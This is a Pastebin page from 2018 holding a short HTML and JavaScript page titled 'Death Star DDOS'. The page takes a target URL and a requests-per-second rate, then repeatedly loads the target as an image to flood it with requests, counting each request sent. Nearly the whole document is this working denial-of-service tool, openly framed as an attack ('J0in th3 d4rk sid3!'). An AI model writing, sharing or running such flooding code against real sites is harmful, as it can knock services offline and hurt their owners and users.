daily pastebin goal
5%
SHARE
TWEET

Untitled

a guest Jul 16th, 2018 67 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <head>
  3. <h2 style="background-color:black;color:red">
  4. DEATH STAR DDOS
  5. <body bgcolor="silver">
  6. </body>
  7.  
  8. <title>Death Star ddos</title>
  9. <style type="text/css">input, button { width: 250px; height: 30px; font-size: 20px; font-weight: bold; margin: 20px 0 20px 0; }</style>
  10. </head>
  11. <body style="font-family: Helvetica; font-size: 16px; text-align: center">
  12. <h1>J0in th3 d4rk sid3!</h1>
  13. <div class="title"><span style="color: red">*</span>Target URL</div>
  14. <input type="text" id="targetURL" />
  15. <div class="title">Requests per Second</div>
  16. <input type="text" id="rps" value="10" /><br/>
  17. <button id="fireButton" style="height: 60px; font-size: 14px">Unleash the Death Star</button>
  18. <div style="color: #8cbc26">Requests Sent</div>
  19. <div style="font-size: 40px; margin-bottom: 20px" id="succeededCtr">0</div>
  20. <script>
  21. var fireInterval;
  22. var isFiring = false;
  23. document.getElementById("fireButton").onclick = function () {
  24.     if (isFiring) {
  25.         clearInterval(fireInterval);
  26.         isFiring = false;
  27.         this.innerHTML = "Unleash the Death Star";
  28.     }
  29.     else {
  30.         isFiring = true;
  31.         this.innerHTML = "Stop Firing";
  32.         fireInterval = setInterval(
  33.             function () {
  34.                 var img = new Image();
  35.                 // URL may not be an image
  36.                 img.onerror = img.onabort = img.onload = function() { document.getElementById("succeededCtr").innerHTML++; };
  37.                 img.setAttribute("src", document.getElementById("targetURL").value);
  38.             },
  39.             (1000 / parseInt(document.getElementById("rps").value) | 1)
  40.         );
  41.     }
  42. };
  43. </script>
  44. </body>
  45. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top